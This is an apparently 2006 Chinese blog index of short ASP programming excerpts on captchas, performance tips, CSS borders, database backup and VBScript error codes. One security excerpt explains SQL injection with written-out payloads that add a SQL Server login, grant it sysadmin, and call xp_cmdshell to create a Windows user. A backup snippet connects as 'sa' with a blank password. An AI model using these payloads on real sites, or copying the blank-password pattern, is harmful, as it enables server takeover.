博文
asp中产生验证码的代码(2006-09-29 15:49:00)
摘要:<%
'-------------定义随机码
dim rndnum,verifycode
Randomize
Do While Len(rndnum)<4
num1=CStr(Chr((57-48)*rnd+48))
rndnum=rndnum&num1
loop
session("RandomNum1")=rndnum
'-------------定义随机码结束
%>
其中4为这个验证码的位数......
Asp编码优化技巧8则(2006-08-29 18:39:00)
摘要:ASP(Active Server Page)是Microsoft公司推出的基于PWS(Personal Web Server)&IIS(Internet Information Server)平台的、基于ISAPI(InternetServiceAPI)原理的动态网页开发技术,目前日趋成熟完善。在这里仅就代码优化进行一些简单讨论。
1、声明VBScript变量
在ASP中,对vbscript提供了强劲的支持,能够无缝集成vbscript的函数、方法,这样给扩展ASP的现有功能提供了很大便利。由于ASP中已经模糊了变量类型的概念,所以,在进行ASP与vbscript交互的过程中,很多程序员也惯于不声明vbscript的变量,这样加重了服务器的解析负担,进而影响服务器的响应请求速度。
鉴于此,我们可以象在VB中强制用户进行变量声明一样在vbscript中强制用户进行变量声明。实现方法是在ASP程序行首放置<% option explicit%>。
2、对URL地址进行编码
在我们使用asp动态生成一个带参数URL地址并进行跳转时,在IE中解析很正常,但在NetScrape浏览时却有错误如下:
HTTP Error 400
400 Bad Request
Due to malformed syntax, the request could not be understood by the server.
The client should not repeat the request without modifications.
解决方法是对生成的URL参数使用ASP内置server对象的URLencode方法进行URL编码,例子如下:
<%
URL="xur.asp"
var1="username=" & server.URLencode("xur")
var2="&company=" & server.URLencode("xurstudio")
var3="&phone=" & server.URLencode("021-53854......
asp中自己做具有个性的表格(2006-08-18 12:03:00)
摘要:框边框属性
1、border-top
border-bottom
border-right
border-left
功能:这四个属性都是简写属性,分别设置上,下,右,左的边框属性。缺省情况下,边框没有样式设置。
数值:共有三个边框属性
border-width: 取值为 thin, medium, thick或指定长度。
border-style: 设置用于修饰边框的底纹。可以设置下列样式:none, dotted,doshed, solid, double, groove, ridge, inset, outset。
border-color: 设置边框颜色。
2、border-top-width
border-bottom-width
border-right=width
border-left-width
功能:分别设置各个边框的厚度。
数值:
thin - 细边框。
medium - 中等线宽。
thick - 粗线。
长度 - 用相对或绝对单位设置边框宽度。
3、border-width
功能:简写属性,可同时设置四个边框的宽度。
数值:
thin - 细边框。
medium - 中等线宽。
thick - 粗线。
长度 - 用相对或绝对单位设置边框宽度。
说明:见 padding 说明。
5、border-style
功能:用于显示边框和指定边框样式。
数值:
none - 不显示边框,为缺省......
ASP 五大高效提速技巧(2006-07-26 11:24:00)
摘要:技巧之一:提高使用Request集合的效率
访问一个ASP集合来提取一个值是费时的、占用计算资源的过程。因为这个操作包含了一系列对相关集合的搜索,这比访问一个局部变量要慢得多。因此,如果打算在页面中多次使用Request集合中的一个值,应该考虑将其存贮为一个局部变量。
例如将代码写成下面的形式以加快脚本引擎处理速度:
strTitle=Request.Form("Title")
strFirstName=Request.Form("FirstName")
strLastName=Request.Form("LastName")
If Len(strTitle) Then strTitle=strTitle & " "
If strFirstName="" Then strFullName=strTitle & " " & strLastName
Elseif Len(strFirstName)=1 Then
strFullName=strTitle & strFirstName & ". " & strLastName
Else
strFullName=strTitle & strFirstName & " " & strLastName
End If
技巧之二:直接访问适当的集合
如果不是别无选择,否则不要使用strPage=Request("page")的这样的形式来获取参数,因为这将按顺序搜索全部的集合—QueryString、Form、Cookies、ClientCertificate、ServerVarible直到发现第一个匹配值的名称。这样做比直接访问适当的集合效率低,并且是不安全的,除非能绝对保证这个值不会出现在另外一个集合中。
例如,可能希望搜索满足客户请求的WEB服务器名称,这通过出现在每个查询中的Request.ServerVarables集合中寻找“SERVER_NAME”来实现。然而,假如其他的集合也包含名为“SERVER_NAME”的值(键名不区分大小写),当使用Request("server_......
网站安全(2006-07-16 13:33:00)
摘要:程的书上,源代码例子就有这个漏洞存在,其实只是一些合法的ASP对SQL的请求,就留下后患无穷!
这种攻击方法最早源于''or''1''=''1的漏洞(我们暂且称其为漏洞),这个漏洞的原理我想大家因该都知道了,那么随之而来的便是;exec
sp_addlogin hax(在数据库内添加一个hax用户),但是这个方法的限制很大,首先ASP使用的SQL Server账号是个管理员,其次请求的提交变
量在整个SQL语句的最后,因为有一些程序员采用SELECT * FROM news WHERE id=... AND topic=... AND .....
这种方法请求数据库,那么如果还用以上的例子就会
news.asp?id=2;exec sp_addlogin hax
变成SELECT * FROM news WHERE id=2;exec sp_addlogin hax AND topic=... AND ...
整个SQL语句在执行sp_addlogin的存储过程后有AND与判断存在,语法错误,你的sp_addlogin自然也不能正常运行了,因此试试看下面这个方法
news.asp?id=2;exec sp_addlogin hax;--
后面的--符号把sp_addlogin后的判断语句变成了注释,这样就不会有语法错误了,sp_addlogin正常执行!
那么我们连一起来用吧
news.asp?id=2;exec master.dbo.sp_addlogin hax;--
news.asp?id=2;exec master.dbo.sp_password null,hax,hax;--
news.asp?id=2;exec master.dbo.sp_addsrvrolemember sysadmin hax;--
news.asp?id=2;exec master.dbo.xp_cmdshell ''net user hax hax /workstations:* /times:all /passwordchg:yes /passwordreq......
asp中备份数据库代码(2006-07-16 09:31:00)
摘要:asp在线备份sql server数据库:
1、备份
<%
SQL="backup database 数据库名 to disk='"&Server.MapPath("backup")&"\"&"backuptext.dat"&"'"
set cnn=Server.createobject("adodb.connection")
cnn.open "driver={SQL Server};Server=服务器名;uid=sa;pwd="
cnn.execute SQL
on error resume next
if err<>0 then
response.write "错误:"&err.Descripting
else
response.write "数据备份成功!"
end if
%>
2、恢复
<%
SQL="Restore database 数据库名 from disk='"&Server.MapPath("backup")&"\"&"backuptext.dat"&"'"
set cnn=Server.createobject("adodb.connection")
cnn.open "driver={SQL Server};Server=服务器名;uid=sa;pwd="
cnn.execute SQL
on error resume next
if err<>0 then
response.write "错误:"&err.Descripting
else
&nbs......
asp错误提示(2006-07-10 09:06:00)
摘要:MicrosoftVBScript语*错误(0x800A03E9)-->内存不足
MicrosoftVBScript语*错误(0x800A03EA)-->语*错误
MicrosoftVBScript语*错误(0x800A03EB)-->缺少 ':'
MicrosoftVBScript语*错误(0x800A03ED)-->缺少 '('
MicrosoftVBScript语*错误(0x800A03EE)-->缺少 ')'
MicrosoftVBScript语*错误(0x800A03EF)-->缺少 ']'
MicrosoftVBScript语*错误(0x800A03F2)-->缺少标识符
MicrosoftVBScript语*错误(0x800A03F3)-->缺少 '='
MicrosoftVBScript语*错误(0x800A03F4)-->缺少 'If'
MicrosoftVBScript语*错误(0x800A03F5)-->缺少 'To'
MicrosoftVBScript语*错误(0x800A03F6)-->缺少 'End'
MicrosoftVBScript语*错误(0x800A03F7)-->缺少 'Function'
MicrosoftVBScript语*错误(0x800A03F8)-->缺少 'Sub'
MicrosoftVBScript语*错误(0x800A03F9)-->缺少 'Then'
MicrosoftVBScript语*错误(0x800A03FA)-->缺少 'Wend'
MicrosoftVBScript语*错误(0x800A03FB)-->缺少 'Loop'
MicrosoftVBScript语*错误(0x800A03FC)-->缺少 'Next'
MicrosoftVBScript语*错误(0x800A03FD)-->缺少 'Case'
MicrosoftVBScript语*错误(0x800A03FE)-->缺少 'Select'
MicrosoftVBScript语*错误(0x800A03FF)-->缺少......
asp常用代码(2006-07-04 13:43:00)
摘要:1.如何用Asp判断你的网站的虚拟物理路径
答:使用Mappath方法
< p align="center" >< font size="4" face="Arial" >< b >
The Physical path to this virtual website is:
< /b >< /font >
< font color="#FF0000" size="6" face="Arial" >
< %= Server.MapPath("\")% >
< /font >< /p >
2.我如何知道使用者所用的浏览器?
答:使用the Request object方法
strBrowser=Request.ServerVariables("HTTP_USER_AGENT")
If Instr(strBrowser,"MSIE") < > 0 Then
Response.redirect("ForMSIEOnly.htm")
Else
Response.redirect("ForAll.htm")
End If
3.如何计算每天的平均反复访问人数
答:解决方法
< % startdate=DateDiff("d",Now,"01/01/1990")
if strdate< 0 then startdate=startdate*-1
avgvpd=Int((usercnt)/startdate) % >
显示结果
< % response.write(avgvpd) % >
tha......
图形按纽(2006-06-29 15:12:00)
摘要:<input name="submit" type="reset" id="submit3" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BACKGROUND-IMAGE: url(images/dl.gif); BORDER-LEFT: 0px; WIDTH: 65px; BORDER-BOTTOM: 0px; HEIGHT: 17px; cursor:hand;" value="">......